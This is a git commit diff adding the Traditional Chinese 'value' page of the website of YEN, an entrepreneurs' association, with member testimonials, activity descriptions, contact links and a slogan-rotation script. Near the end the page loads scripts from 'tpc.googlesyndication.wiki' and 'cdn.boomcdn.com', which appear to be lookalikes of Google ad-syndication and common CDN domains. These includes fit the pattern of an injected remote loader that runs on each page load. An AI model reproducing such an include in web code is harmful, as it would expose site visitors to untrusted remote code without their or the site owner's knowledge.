initial commit
This commit is contained in:
+267
@@ -0,0 +1,267 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/value.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>對你的價值</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-worth-1" class="page-block block-worth-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1a-pc.jpg" style="background-image: url('../images/block-worth-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1b-pc.jpg" style="background-image: url('../images/block-worth-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-worth-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1d-pc.jpg" style="background-image: url('../images/block-worth-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-worth main-worth-mask-1">
|
||||
<div class="container">
|
||||
<div id="value" class="worth-content-1">
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
“若說海内存知己，YEN的兄弟姐妹一定若比鄰”
|
||||
<small>- W.C 房地產業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
“可以敞開坦露脆弱的地方”
|
||||
<small>- C.Y. 管理顧問業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
“這裡不販賣信仰，卻能篤定我往前的信念”
|
||||
<small>- V.T. 食品業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
“各行業的深入洞察，分享真誠不套路”
|
||||
<small>- T.H. 製造業</small>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-worth-2" class="page-block block-worth-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image pc-source" data-pc-url="../images/block-worth-2a-pc.jpg" style="background-image: url('../images/block-worth-2a.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2b.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2c.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2d.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="worth-main-2">
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div>
|
||||
<h3>來！一起參加YEN的</h3>
|
||||
<div class="main-2">
|
||||
<div class="worth-content-2">
|
||||
<div>
|
||||
<h5>分會分享會</h5>
|
||||
<label>學習新知、保持最新商業的嗅覺</label>
|
||||
<p>各地分會每年6-10次的乾貨分享會，在保密的原則下，分享深入的商業/生活主題</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>分會年度進修</h5>
|
||||
<label>與自己分會會員深交的最好機會</label>
|
||||
<p>分會每年的體驗高點：每年一次三到四天的外出旅遊與學習，旅程中圍繞著本地會員開展各種學習與融入活動。</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>私董會</h5>
|
||||
<label>解決你各方面的議題</label>
|
||||
<p>私董會是YEN裡頭最緊密的互助小組。不同於公開的大型活動，私董會是由固定的6-8位會員，一年6-10次聚在一起討論和解決各自遇到的議題。</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>全球高峰會</h5>
|
||||
<label>讓你認識各地、各行業的YEN兄弟姐妹</label>
|
||||
<p>每年五月，全球各地的會員聚在一處有三到四天的密集活動，包含了學習、融入甚至競賽。全球高峰會是最好認識跨分會會員的機會。</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>融入活動</h5>
|
||||
<label>非正式、靈活的將會員融合在一起</label>
|
||||
<p>除了正式的學習活動，YEN還有許多本地分會或者跨分會的融入活動，從戶外運動、家庭活動、到小範圍聚餐。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>聯繫YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#3148545f1f50555c585f007158525d5e44551f525e5c"><span class="__cf_email__" data-cfemail="99e0fcf7b7f8fdf4f0f7a8d9f0faf5f6ecfdb7faf6f4">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
function tranSlogan() {
|
||||
const oDiv = document.getElementById('value')
|
||||
let i = 2
|
||||
const t1 = `
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
“若說海内存知己，YEN的兄弟姐妹一定若比鄰”
|
||||
<small>- W.C 房地產業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
“可以敞開坦露脆弱的地方”
|
||||
<small>- C.Y. 管理顧問業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
“這裡不販賣信仰，卻能篤定我往前的信念”
|
||||
<small>- V.T. 食品業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
“各行業的深入洞察，分享真誠不套路”
|
||||
<small>- T.H. 製造業</small>
|
||||
</span>
|
||||
</div>
|
||||
`
|
||||
const t2 = `
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
“你可以選擇的兄弟姐妹”
|
||||
<small>- B.C. 教育訓練業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
“無需帶面具，真實做自己”
|
||||
<small>- A.C. 製造&貿易業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
“創業路上最大的慰藉！”
|
||||
<small>- L.L. 電子商務業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
“這裡的每一面鏡子都可以照出創業路上相似的經歷。”
|
||||
<small>- N.H 文化傳媒</small>
|
||||
</span>
|
||||
</div>
|
||||
`
|
||||
setInterval(function() {
|
||||
if(i == 1) {
|
||||
oDiv.innerHTML = t1
|
||||
i = 2
|
||||
}
|
||||
else if(i === 2) {
|
||||
oDiv.innerHTML = t2
|
||||
i = 1
|
||||
}
|
||||
}, 12000)
|
||||
}
|
||||
tranSlogan()
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user